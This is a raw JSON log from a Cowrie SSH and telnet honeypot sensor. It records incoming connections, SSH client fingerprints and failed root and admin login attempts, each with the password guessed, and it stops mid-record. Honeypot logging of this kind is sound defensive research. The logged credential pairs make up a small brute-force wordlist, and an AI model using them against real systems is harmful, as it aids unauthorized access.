{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":47230,"dst_ip":"159.203.135.109","dst_port":23,"session":"899f01481038","protocol":"telnet","message":"New connection: 137.184.5.188:47230 (159.203.135.109:23) [session: 899f01481038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:48.758798Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"gj123456","message":"login attempt [root/gj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:48.763417Z","src_ip":"177.76.134.52","session":"5dac6e3ec5e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein123","message":"login attempt [root/letmein123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:48.775017Z","src_ip":"109.91.4.177","session":"e0e6e8dc174e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:49.878844Z","src_ip":"109.91.4.177","session":"e0e6e8dc174e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:49.898289Z","src_ip":"177.76.134.52","session":"5dac6e3ec5e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00252747535706,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:51.106488Z","src_ip":"137.184.5.188","session":"aa59b7fb43e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58564,"dst_ip":"10.17.0.5","dst_port":22,"session":"3288e4aed899","protocol":"ssh","message":"New connection: 193.37.70.224:58564 (10.17.0.5:22) [session: 3288e4aed899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:51.770811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:51.775119Z","src_ip":"193.37.70.224","session":"3288e4aed899","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:51.865620Z","src_ip":"193.37.70.224","session":"3288e4aed899","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"030185","message":"login attempt [root/030185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:52.131680Z","src_ip":"193.37.70.224","session":"3288e4aed899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:53.222671Z","src_ip":"193.37.70.224","session":"3288e4aed899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":42248,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecc8434871c5","protocol":"ssh","message":"New connection: 38.148.249.2:42248 (10.17.0.5:22) [session: ecc8434871c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:57.348644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:57.352113Z","src_ip":"38.148.249.2","session":"ecc8434871c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":43732,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7326487b238","protocol":"ssh","message":"New connection: 159.65.58.200:43732 (159.203.135.109:22) [session: c7326487b238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:57.395918Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:57.419796Z","src_ip":"38.148.249.2","session":"ecc8434871c5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:57.534864Z","src_ip":"159.65.58.200","session":"c7326487b238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:57.538754Z","src_ip":"159.65.58.200","session":"c7326487b238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwqwqw","message":"login attempt [root/qwqwqw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:57.726483Z","src_ip":"38.148.249.2","session":"ecc8434871c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:58.797359Z","src_ip":"38.148.249.2","session":"ecc8434871c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shandrov","password":"123456","message":"login attempt [shandrov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:38:58.906518Z","src_ip":"159.65.58.200","session":"c7326487b238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:00.433886Z","src_ip":"159.65.58.200","session":"c7326487b238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":50704,"dst_ip":"159.203.135.109","dst_port":23,"session":"e464d85a88a4","protocol":"telnet","message":"New connection: 137.184.5.188:50704 (159.203.135.109:23) [session: e464d85a88a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:02.033795Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":43006,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac343d6cb32f","protocol":"ssh","message":"New connection: 209.99.190.200:43006 (10.17.0.5:22) [session: ac343d6cb32f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:20.059330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:20.062955Z","src_ip":"209.99.190.200","session":"ac343d6cb32f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:20.163395Z","src_ip":"209.99.190.200","session":"ac343d6cb32f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein123","message":"login attempt [root/letmein123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:20.600724Z","src_ip":"209.99.190.200","session":"ac343d6cb32f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:21.704640Z","src_ip":"209.99.190.200","session":"ac343d6cb32f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.222290992736816,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:29.980975Z","src_ip":"137.184.5.188","session":"899f01481038","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46036,"dst_ip":"159.203.135.109","dst_port":23,"session":"37254a391c1e","protocol":"telnet","message":"New connection: 170.64.224.25:46036 (159.203.135.109:23) [session: 37254a391c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:41.532109Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":43316,"dst_ip":"10.17.0.5","dst_port":22,"session":"533ce263bec0","protocol":"ssh","message":"New connection: 80.94.92.55:43316 (10.17.0.5:22) [session: 533ce263bec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:47.462506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:47.762434Z","src_ip":"80.94.92.55","session":"533ce263bec0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:47.765227Z","src_ip":"80.94.92.55","session":"533ce263bec0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123","message":"login attempt [admin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:49.724417Z","src_ip":"80.94.92.55","session":"533ce263bec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:51.151160Z","src_ip":"80.94.92.55","session":"533ce263bec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.27726149559021,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:53.310905Z","src_ip":"137.184.5.188","session":"e464d85a88a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":52314,"dst_ip":"10.17.0.5","dst_port":22,"session":"f553f71e5efd","protocol":"ssh","message":"New connection: 162.240.218.183:52314 (10.17.0.5:22) [session: f553f71e5efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:55.113222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:55.116628Z","src_ip":"162.240.218.183","session":"f553f71e5efd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:55.202456Z","src_ip":"162.240.218.183","session":"f553f71e5efd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1@st@Tr0ng!W0rd","message":"login attempt [root/B1@st@Tr0ng!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:55.446659Z","src_ip":"162.240.218.183","session":"f553f71e5efd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":38730,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e4c8aab0c8d","protocol":"ssh","message":"New connection: 103.149.28.157:38730 (159.203.135.109:22) [session: 8e4c8aab0c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:58.120659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:58.124111Z","src_ip":"103.149.28.157","session":"8e4c8aab0c8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:58.366197Z","src_ip":"103.149.28.157","session":"8e4c8aab0c8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aubrey","message":"login attempt [root/aubrey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:39:59.095416Z","src_ip":"103.149.28.157","session":"8e4c8aab0c8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:00.340430Z","src_ip":"103.149.28.157","session":"8e4c8aab0c8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":48026,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ba3019c322c","protocol":"ssh","message":"New connection: 176.53.159.196:48026 (159.203.135.109:22) [session: 4ba3019c322c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:25.627737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:40:25.631723Z","src_ip":"176.53.159.196","session":"4ba3019c322c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v